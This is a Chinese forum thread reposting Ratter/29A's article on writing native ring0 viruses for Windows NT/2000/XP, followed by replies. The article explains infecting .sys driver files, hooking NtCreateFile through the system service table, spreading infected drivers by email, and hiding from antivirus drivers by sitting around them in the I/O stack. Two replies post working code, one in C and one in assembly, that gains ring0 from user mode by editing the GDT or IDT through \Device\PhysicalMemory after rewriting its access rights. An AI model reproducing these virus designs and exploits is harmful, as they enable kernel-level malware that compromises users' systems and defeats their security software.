阅读:13537回复:16
.Ring0 under WinNT/2k/XP..Ring0 under WinNT/2k/XP. .by Ratter/29A. .Intro. Ring0 under NT? Does it also sound to you almost religious as to me? NT based operating systems weren't written as a toy so gaining ring0 under these is much harder (if not impossible) than under Win9x/Me. Yes there were exploits (like getadmin) that used bugs in the code but that was the badly written code. The design does not have any hole (i believe) that would let on well written system without bugs run nonprivileged code under ring0. But that's it. Microsoft unfortunately doesn't write code without bugs (what degrades the architecture; i wish, Microsoft would succeed in this particular task - to write at least one version of NT system without high priority flaws - to shut the fuckin linux radicals mouth. yes, open source is nice, M$ monopol is bad, but well i don't care - if there would be comparable nice OS i would love it (ReactOS is coming :-)) but i don't like *nix, anyway i do like FreeBSD, but less than NT :-)) Do you hear too so much _often_ how Microsoft uses FUDs? Read something from the other side about NT - so much hate and lack of knowledge about the thing they're talking about is fascinating. I can understand that by Microsoft as they want to earn money. But that almost nazi radicalism on the linux side irritates me. Yet you can't find almost anything like that on the *BSD side. This (apart of that mess in linux sources) made me decide not to use Linux (for what i don't have any reason neither) at least until this radicalism dissapears. What you should get from this almost political intro? If you don't like Microsoft, use ReactOS (it will be comparable soon!!). If you don't like NT architecture use *BSD, cause Linux sucks :-) .Ring0 WinNT virus (Ideas). So as i stated above, on well configured, well patched NT system, you won't have a chance to even infect the system in ring3 much less to get into ring0 (if you wont discover some new hole :-)). But we're virus writers right, so we almost everytime count with user's ignorance, laziness or whatever makes the box open so we will get in anyway ;-) Do you remember that WinNT.Adonai virus that appeared in 29A#5 claiming ; HA HA HA HA.... THE WORLD FIRST VIRUS ABLE TO JUMP INTO RING 0 ; ON NT MACHINES (NT3.1, NT4 AND W2000) ? It imho speaks itself about it's nature just let me say, that jumping into ring0 _ain't_ what we should want to achieve. Because as i said some time before - it's not about getting into ring0, one must know _what_ to do there. and, forgive me Henky, (if i omit that using the callgate tech in a virus is _so_ convulsive and that you used the routine that shipped with callgate.sys for beeping)beeping using direct port I/O is very unhappily. If you wanted to beep a driver modifying TSS I/O map would be a better solution - too using undocumented but exported functions from ntoskrnl. So this is probably not the way to go, we simply just don't want to beep on the files, we want to infect them :-) When i first started to think about native ring0 WinNT virus i made a few points that could characterise it: 1) it should fully exploit the nature of the I/O subsystem - ie if file infector, possibly a filesystem filter driver 2) it should fully exploit the nature of other subsystems - ie install for example some NDIS backdoor, use TDI routines for using the internet etc 3) if it needs something in ring3 it should be something that can't be done in ring0 (i doubt anything like this exists, but for sure) 4) try to cover all versions of NT avalaible and handle all variations (iapx86) - ie PAE, /3GB option, 4 meg pages 5) because of the complexity of the above points, it should be written in C - anyway this is not mandatory, but i wont write it in asm :-) as you'll see nearly none of the points i resolved to implement i haven't fulfilled in my current try of a ring0 NT virus :-) .How to get into ring0. This is a fundamental question for a virus writer that wants to do something there :-) There are ways to tamper with ring0 mem using \device\physicalmemory which has been described in Phrack55 i think. Better implementation of this technique was written by Matt Wu who's code is used as a base for FakeExec (in z0mbie's hkit). This is nice, but not so much for a file infector. Ntoskrnl.exe can be modified to run our code, or some other system component. But we want to write a native ring0 virus with no ring3 part. And i doubt someone will send ntorkrnl.exe over email :-) so this would need some ring3 dropper. Thatswhy i realised that infecting *.sys (WinNT drivers) files is the solution we're looking for. Moreover all infection techniques we know from ring3 can be used, because *.sys file is a normal PE file (just with a nonmandatory checksum - but BumbleBee (where are you friend??) presented a way how to code a checksum routine on our own)! And if you think about it a little - what is the most exchanged commodity apart of movies and music on the internet? Drivers i believe, because everyone wants to get the best from his machine :-) (imagine this: native ring0 iworm :-) uses a social engineering to send a driver sys file that will speed up recipients machine by 100% for sure with instructions how to install it using TDI and normal SMTP client and native file routines to get email addresses and read it's body from the file) Microsoft signs drivers that pass their WHQL test. These drivers won't show ugly message that the drivers aren't signed - this is when installing them via legal *.inf way. Any other way wont show anything :-) anyway users don't care about this - i don't care neither because most of the non hardware drivers wouldnt pass it as they use undocumented techs exactly as we'll use, so don't try to send your driver virus to Microsoft, they wont sign it for you :-) -=What to do in ring0=- So we're in ring0 via infection of a driver file. What to do now? We redirected the entrypoint to our code and we're called by the kernel as a legal DriverEntry. Now the question comes how we we're integrated with the victim driver. Personally i prefer a little asm stub - a pe file loader - that will load our real driver to some non paged allocated memory and execute from there. Why? Because merging with the victim doesn't guarantee the distance from the victim - imagine you have a 700kb driver and you merged with it. Now the initialiation of the driver fails, but it has to remain in the memory, because we want to infect :-) If we'll use an asm pe loader, it will separate us forever from the victim and we can take care about ourselves. What about the DriverObject param to the DriverEntry? IoCreateDriver function exported by ntoskrnl will fix that ... .The Loader. It should be an asm stub, that will load the pe file that it carries (it can be compressed, but for easier handling the virtual aligning should be the same as physical aligning in the pe file), relocates it and imports all needed functions - for pe file loader source you can have a look at the In-memory PE File execution by z0mbie in 29A#6 magazine. Now i will only concentrate on questions regarding the ring0: 1) this time we wont be looking for the base of kernel32.dll but ntoskrnl.exe :-) how to get it? that's a question. in Che i use hardcoded addresses and that is bad - as you know from the history of the ring3 infection. Roy had an idea to get some interrupt handler from IDT. Good idea, but it has it's limitations - interrupts can be redirected. But what about the address of the caller on the DriverEntry? We _should_ be called by the kernel code that _should_ reside in ntoskrnl.exe. Well we should, unless we are infected by some other virus :-) Now normal looking for start of ntoskrnl comes, but, what a pitty, without SEH. this can be replaced by checking the page tables (don't forget to handle PAE and 4 meg pages) whether the page is present or redirecting the page fault/access fault handler. 2) we have a ntoskrnl base. did i mention it is a pe file? we can use exactly the same routines as in ring3 (protected by the above methods) :-) drivers in most times import from ntoskrnl/hal but sometimes also from other modules (like ndis or scsiport) so how to handle this? there exists a routine for getting fc address from ntoskrnl and hal. but we need something more general - SYSTEM_MODULE_INFORMATION class of ZwQuerySystemInformation will do it - it will give you all module names and bases loaded in the kernel address space. 3) we have the driver decompressed and loaded in allocated memory so nothing prevents us from calling the DriverEntry :-) 4) after our babe does what it needs (and it finishes with no error) simply jump to the victim's DriverEntry and all will go on ... .The Driver. Now the time to write a driver comes, but that's out of the scope of this article - DDK, IFS kit, some good (filter) driver writing book will help you. Go into it, it's beatiful and there are a lot of internet resources covering this - i'll name sysinternals.com at least. .The ideal virus. Imagine a ring0 WinNT *.sys infector with stealth techs, using epo, some metamorphic engine (go to mental driller, vecna and z0mbie for this :-)) and this little feature: as you probably know, the I/O system is layered - the IRP goes through each layer on which it is maybe modified or whatever. Now imagine we'll attach to the stack below the antivirus driver and above it. when someone opens infected file, we'll disinfect it, pass it down to the av driver which will pass it again to us and we'll reinfect it. Or maybe we could simply create some kind of bridge above this av driver - create irps pass down without av driver intervention, other irps (mainly ioctl ones to let not ring3 portion of the av product see the av driver is bridged) pass to the av driver. These aren't possibly the only possibilities - try to find out some as this will totally fuck up the whole av protection :-) -=Win2k/Xp.Che=- That was the theory :-) Now let's have a look at the piece of code i've written for this issue. I'll cover only interesting points. Che tries to be a resident on access *.sys file infector. This is a first of its kind afaik so it has certain limitations and doesn't fulfill none of the above mentioned points so please be patient, the real native ring0 WinNT virus waits maybe on you, dear reader :-) Che redirects the NtCreateFile native api via modifying the KeServiceDescriptorTable. Under XP this table is read only so Che has to make it read/write - for this exists at least 4 possible ways afaik, in Che i use the Mdl way. Cr0 way can be used for example too - you can have a look at it in TaiChi's bootvid.dll from previous issue. Now when NtCreateFile is redirected, we can start to intercept the open calls and infect the *.sys files. btw - i check for one processor present. if i used Interlocked* functions or lock prefix, i could omit this check. but since i don't have access to MP machine, i can't test it so thatswhy i use it although it _should_ work. btw2 - the Che's hardcoded ntoskrnl addresses would not work with the /3gb option obviously. .Infection. The problem is, that if your virus will infect some very low level driver such as ntfs.sys it gets loaded before volumes are mounted so you woldn't be able to infect anything. To wait for the system being in normal condition i added a check for user mode thread on the beginning of the hook. So Che infects files touched from ring3 only. I also decided to move infection routine to ring3. This is mainly due my laziness but also because i use SFP exception routine (described in my other article) and checksum routine. So the ring0 NtCreateFile hook only checks for ring3 thread opening *.sys file, gets full name of the file, for the real infection routine it finds imports from kernel32.dll using peb, allocates memory in process address space, copies it there and calls it. This routine will finally infect the file possibly exceptioning it from SFP for a while and counting the checksum for it. This is also good because SEH can be used. But surely all code could be moved to ring0 - the real infection routine could be rewritten in native api, the SFP could be disabled using directory notification hooking and checksum is the easiest of it. I'm sorry, probably next time :-) .Ring3 synchronous procedure calling from ring0. The interesting point i think is using of KeUserModeCallback to synchronously call ring3 code. There is a way to call it asynchronously using user mode APCs but that was not what i needed. KeUserModeCallback is used by Win32k to call user mode gui routines. There exists an index which is not checked in ntdll and can be easily modified to point to our routine - look at the Che source. .Closing. That is all from this issue's ring0 from me :-) It's the middle of the summer holidays and the weed parties are fully running so if something is too much chaotic i'm sorry, but i tried to make it as much consistent as i'm currently able to do. at last let me thank to Wumpscut, Front242, Project PitchFork and Suicide Commando, because i wouldn't be able to write this text without their support. If you have any suggestions/ideas about this beatiful topic, don't hesitate to let me know. And now. It's summer so let's have some fun :-) -- Ratter/29A - I'm a stranger in the world I haven't made. |
|
|
沙发#
发布于:2004-08-20 12:42
不错,收藏。 慢慢看 :)
|
|
板凳#
发布于:2004-08-21 13:37
全是讲思路,细节讲的很少。 又没有代码。 看起来很吃力。。。 特别是PE Loader 部分,感觉实现起来难度太大了。
|
|
地板#
发布于:2004-08-22 15:50
哪位能够全部翻译出来呀?
看起来太费劲了. |
|
地下室#
发布于:2004-08-23 09:46
[quote]全是讲思路,细节讲的很少。 又没有代码。 看起来很吃力。。。 特别是PE Loader 部分,感觉实现起来难度太大了。 [/quote
]嘿嘿,代码可以参考29A里面的,很多好东西哦,嘿嘿...... |
|
|
5楼#
发布于:2004-08-23 18:10
[quote]全是讲思路,细节讲的很少。 又没有代码。 看起来很吃力。。。 特别是PE Loader 部分,感觉实现起来难度太大了。 [/quote 谢谢! :D |
|
6楼#
发布于:2004-08-23 18:25
能不能给个链接? 搜了半天,没一个上的去的。 :(
|
|
7楼#
发布于:2004-08-23 22:37
/*今天刚刚看到的
win2000下不用驱动进入ring0 我没有测试过 */ #define _X86_ #include <windows.h> #include <stdio.h> #include <aclapi.h> #include <conio.h> #include <windef.h> typedef long NTSTATUS; typedef unsigned short USHORT; #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #define OBJ_INHERIT 0x00000002L #define OBJ_PERMANENT 0x00000010L #define OBJ_EXCLUSIVE 0x00000020L #define OBJ_CASE_INSENSITIVE 0x00000040L #define OBJ_OPENIF 0x00000080L #define OBJ_OPENLINK 0x00000100L #define OBJ_KERNEL_HANDLE 0x00000200L #define OBJ_VALID_ATTRIBUTES 0x000003F2L typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; #ifdef MIDL_PASS [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer; #else // MIDL_PASS PWSTR Buffer; #endif // MIDL_PASS } UNICODE_STRING; typedef UNICODE_STRING *PUNICODE_STRING; typedef const UNICODE_STRING *PCUNICODE_STRING; #define UNICODE_NULL ((WCHAR)0) // winnt typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE } OBJECT_ATTRIBUTES; typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; #define InitializeObjectAttributes( p, n, a, r, s ) { \ (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ (p)->RootDirectory = r; \ (p)->Attributes = a; \ (p)->ObjectName = n; \ (p)->SecurityDescriptor = s; \ (p)->SecurityQualityOfService = NULL; \ } extern "C" NTSYSAPI VOID NTAPI RtlInitUnicodeString( PUNICODE_STRING DestinationString, PCWSTR SourceString ); extern "C" NTSYSAPI NTSTATUS NTAPI ZwOpenSection( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); extern "C" NTSYSAPI NTSTATUS NTAPI ZwClose( IN HANDLE Handle ); #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth #define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L) #pragma comment(lib,"C:\\NTDDK\\libfre\\i386\\ntdll.lib") #define ENTERRING0 _asm pushad \ _asm pushf \ _asm cli #define LEAVERING0 _asm popf \ _asm popad \ _asm retf typedef struct gdtr { unsigned short Limit; unsigned short BaseLow; unsigned short BaseHigh; } Gdtr_t, *PGdtr_t; typedef struct { unsigned short offset_0_15; unsigned short selector; unsigned char param_count : 4; unsigned char some_bits : 4; unsigned char type : 4; unsigned char app_system : 1; unsigned char dpl : 2; unsigned char present : 1; unsigned short offset_16_31; } CALLGATE_DESCRIPTOR; void PrintWin32Error( DWORD ErrorCode ) { LPVOID lpMsgBuf; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, ErrorCode, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL); printf("%s\n", lpMsgBuf ); LocalFree( lpMsgBuf ); } ULONG MiniMmGetPhysicalAddress(ULONG virtualaddress) { if(virtualaddress<0x80000000||virtualaddress>=0xA0000000) return 0; return virtualaddress&0x1FFFF000; } VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection) { PACL pDacl=NULL; PACL pNewDacl=NULL; PSECURITY_DESCRIPTOR pSD=NULL; DWORD dwRes; EXPLICIT_ACCESS ea; if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION, NULL,NULL,&pDacl,NULL,&pSD) != ERROR_SUCCESS) { printf( "GetSecurityInfo Error %u\n", dwRes ); goto CleanUp; } ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = SECTION_MAP_WRITE; ea.grfAccessMode = GRANT_ACCESS; ea.grfInheritance= NO_INHERITANCE; ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME; ea.Trustee.TrusteeType = TRUSTEE_IS_USER; ea.Trustee.ptstrName = "CURRENT_USER"; if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS) { printf( "SetEntriesInAcl %u\n", dwRes ); goto CleanUp; } if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS) { printf("SetSecurityInfo %u\n",dwRes); goto CleanUp; } CleanUp: if(pSD) LocalFree(pSD); if(pNewDacl) LocalFree(pSD); } BOOL ExecRing0Proc(ULONG Entry,ULONG seglen) { Gdtr_t gdt; __asm sgdt gdt; ULONG mapAddr=MiniMmGetPhysicalAddress(gdt.BaseHigh<<16U|gdt.BaseLow); if(!mapAddr) return 0; HANDLE hSection=NULL; NTSTATUS status; OBJECT_ATTRIBUTES objectAttributes; UNICODE_STRING objName; CALLGATE_DESCRIPTOR *cg; status = STATUS_SUCCESS; RtlInitUnicodeString(&objName,L"\\Device\\PhysicalMemory"); InitializeObjectAttributes(&objectAttributes, &objName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, (PSECURITY_DESCRIPTOR) NULL); status = ZwOpenSection(&hSection,SECTION_MAP_READ|SECTION_MAP_WRITE,&objectAttributes); if(status == STATUS_ACCESS_DENIED){ status = ZwOpenSection(&hSection,READ_CONTROL|WRITE_DAC,&objectAttributes); SetPhyscialMemorySectionCanBeWrited(hSection); ZwClose(hSection); status = ZwOpenSection(&hSection,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&objectAttributes); } if(status != STATUS_SUCCESS) { printf("Error Open PhysicalMemory Section Object,Status:%08X\n",status); return 0; } PVOID BaseAddress; BaseAddress=MapViewOfFile(hSection, FILE_MAP_READ|FILE_MAP_WRITE, 0, mapAddr, //low part (gdt.Limit+1)); if(!BaseAddress) { printf("Error MapViewOfFile:"); PrintWin32Error(GetLastError()); return 0; } BOOL setcg=FALSE; for(cg=(CALLGATE_DESCRIPTOR *)((ULONG)BaseAddress+(gdt.Limit&0xFFF8));(ULONG)cg>(ULONG)BaseAddress;cg--) if(cg->type == 0){ cg->offset_0_15 = LOWORD(Entry); cg->selector = 8; cg->param_count = 0; cg->some_bits = 0; cg->type = 0xC; // 386 call gate cg->app_system = 0; // A system descriptor cg->dpl = 3; // Ring 3 code can call cg->present = 1; cg->offset_16_31 = HIWORD(Entry); setcg=TRUE; break; } if(!setcg){ ZwClose(hSection); return 0; } short farcall[3]; farcall[2]=((short)((ULONG)cg-(ULONG)BaseAddress))|3; //Ring 3 callgate; if(!VirtualLock((PVOID)Entry,seglen)) { printf("Error VirtualLock:"); PrintWin32Error(GetLastError()); return 0; } SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_TIME_CRITICAL); Sleep(0); _asm call fword ptr [farcall] SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_NORMAL); VirtualUnlock((PVOID)Entry,seglen); //Clear callgate *(ULONG *)cg=0; *((ULONG *)cg+1)=0; ZwClose(hSection); return TRUE; } struct _RING0DATA { DWORD mcr0,mcr2,mcr3; unsigned short BaseMemory; unsigned short ExtendedMemory; }r0Data; void __declspec (naked) Ring0Proc1() { ENTERRING0; _asm { mov eax, cr0 mov r0Data.mcr0, eax; mov eax, cr2 mov r0Data.mcr2, eax; mov eax, cr3 mov r0Data.mcr3, eax; } LEAVERING0; } void __declspec (naked) Ring0Proc2() { ENTERRING0; _outp( 0x70, 0x15 ); _asm { mov ax,0 in al,71h mov r0Data.BaseMemory,ax } _outp( 0x70, 0x16 ); r0Data.BaseMemory += _inp(0x71) << 8; _outp( 0x70, 0x17 ); r0Data.ExtendedMemory = _inp( 0x71 ); _outp( 0x70, 0x18 ); r0Data.ExtendedMemory += _inp(0x71) << 8; LEAVERING0; } void main(void) { ZeroMemory(&r0Data,sizeof(struct _RING0DATA)); VirtualLock((PVOID)&r0Data,sizeof(struct _RING0DATA)); ExecRing0Proc((ULONG)Ring0Proc1,0x100); ExecRing0Proc((ULONG)Ring0Proc2,0x100); VirtualUnlock((PVOID)&r0Data,sizeof(struct _RING0DATA)); printf("CR0 = %x\n", r0Data.mcr0); printf("CR2 = %x\n", r0Data.mcr2); printf("CR3 = %x\n", r0Data.mcr3); printf("Base memory = %dK\n", r0Data.BaseMemory); printf("Extended memory = %dK\n", r0Data.ExtendedMemory); } |
|
8楼#
发布于:2004-08-23 23:18
呵呵,太早的东西了,我曾经把他改成汇编代码,基本没问题的。这个是最大众化的方法了。
|
|
|
9楼#
发布于:2004-10-01 17:35
在http://29a.host.sk/29A-7.html上找到一段代码nt ring0 不知道是不是,贴出来
.386p .model flat extern GetModuleHandleA:proc extern GetProcAddress:proc extern LoadLibraryA:proc extern FreeLibrary:proc extern CloseHandle:proc extern MapViewOfFile:proc extern UnmapViewOfFile:proc extern WriteFile:proc extern ExitProcess:proc OBJ_CASE_INSENSITIVE equ 40h SECTION_MAP_WRITE equ 2 SECTION_MAP_READ equ 4 MEM_PRIVATE equ 20000h MEM_MAPPED equ 40000h DACL_SECURITY_INFORMATION equ 4 SE_KERNEL_OBJECT equ 6 GRANT_ACCESS equ 1 NO_MULTIPLE_TRUSTEE equ 0 TRUSTEE_IS_NAME equ 1 TRUSTEE_IS_USER equ 1 INTNUMBER equ 0ffh .data ntdll db "ntdll", 0 NtOpenSection db "NtOpenSection", 0 SetSecurityInfo db "SetSecurityInfo", 0 SetEntriesInAclA db "SetEntriesInAclA", 0 GetSecurityInfo db "GetSecurityInfo", 0 advapi32 db "advapi32", 0 object_name dw offset object_buffer_e1 - offset object_buffer, offset object_buffer_e2 - offset object_buffer dd offset object_buffer object_buffer dw '\', 'd', 'e', 'v', 'i', 'c', 'e', '\', 'p', 'h', 'y', 's', 'i', 'c', 'a', 'l', 'm', 'e', 'm', 'o', 'r', 'y' object_buffer_e1 dw 0 object_buffer_e2 equ $ align 4 ;required for object_attributes object_attributes dd offset object_attributes_e - offset object_attributes, 0, offset object_name, OBJ_CASE_INSENSITIVE, 0, 0 object_attributes_e equ $ explicit_access dd SECTION_MAP_WRITE, GRANT_ACCESS, 0, 0, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_NAME, TRUSTEE_IS_USER, offset current_user current_user db "CURRENT_USER", 0 instaddr db 0ah dup (?) .code code_begin label near push offset ntdll call GetModuleHandleA test eax, eax je exit_code push offset NtOpenSection push eax call GetProcAddress xchg esi, eax push eax mov ebx, esp mov edi, offset object_attributes push edi push SECTION_MAP_READ or SECTION_MAP_WRITE push ebx call esi test eax, eax jns hook_interrupt push edi push MEM_MAPPED or MEM_PRIVATE push ebx call esi push eax mov ebp, esp xor eax, eax push eax push eax mov ecx, esp push eax mov edx, esp push eax push DACL_SECURITY_INFORMATION push SE_KERNEL_OBJECT push dword ptr [ebx] push offset SetSecurityInfo push ecx push edx push offset explicit_access push 1 push offset SetEntriesInAclA push ebp push eax push edx push eax push eax push DACL_SECURITY_INFORMATION push SE_KERNEL_OBJECT push dword ptr [ebx] push offset GetSecurityInfo push offset advapi32 call LoadLibraryA push eax xchg ebp, eax call GetProcAddress call eax push ebp call GetProcAddress call eax push ebp call GetProcAddress call eax pop eax push ebp call FreeLibrary push dword ptr [ebx] call CloseHandle push edi push SECTION_MAP_READ or SECTION_MAP_WRITE push ebx call esi test eax, eax js exit_code hook_interrupt label near push eax sidt fword ptr [esp - 2] pop esi btr esi, 1fh push 1 push esi push 0 push SECTION_MAP_WRITE push dword ptr [ebx] call MapViewOfFile push eax and esi, 0fffh lea esi, dword ptr [eax + esi + INTNUMBER * 8] fild qword ptr [esi] call skip_ring0 ;begin ring 0 mov ebp, cr0 iretd ;end ring 0 skip_ring0 label near pop word ptr [esi] mov byte ptr [esi + 2], 8 mov byte ptr [esi + 5], 0eeh pop word ptr [esi + 6] int INTNUMBER fistp qword ptr [esi] call UnmapViewOfFile call CloseHandle push 0 push esp push size instaddr mov edi, offset instaddr push edi push -11 ;STD_OUTPUT_HANDLE call hex2asc ;convert offset to ASCII mov ax, 0a0dh stos word ptr [edi] call WriteFile ;print to screen exit_code label near push 0 call ExitProcess hex2asc proc near call dd2asc dd2asc proc near call dw2asc dw2asc proc near shld eax, ebp, 8 shl ebp, 8 aam 10h call db2asc db2asc proc near xchg ah, al cmp al, 0ah sbb al, 69h das stos byte ptr [edi] ret db2asc endp dw2asc endp dd2asc endp hex2asc endp end code_begin |
|
10楼#
发布于:2004-12-14 21:25
试试这个,完全可以
|
|
|
11楼#
发布于:2005-01-07 11:09
这个帖子不错
|
|
|
12楼#
发布于:2005-02-01 12:37
顶
|
|
|
13楼#
发布于:2005-03-08 10:00
顶!
|
|
14楼#
发布于:2005-03-08 17:01
真好贴!顶WOWO鸡一下 :D!
|
|
|
15楼#
发布于:2005-05-05 14:59
顶死,看不大懂,能不能说明一下
|
|
|
16楼#
发布于:2005-05-23 17:55
good topic!
|
|
|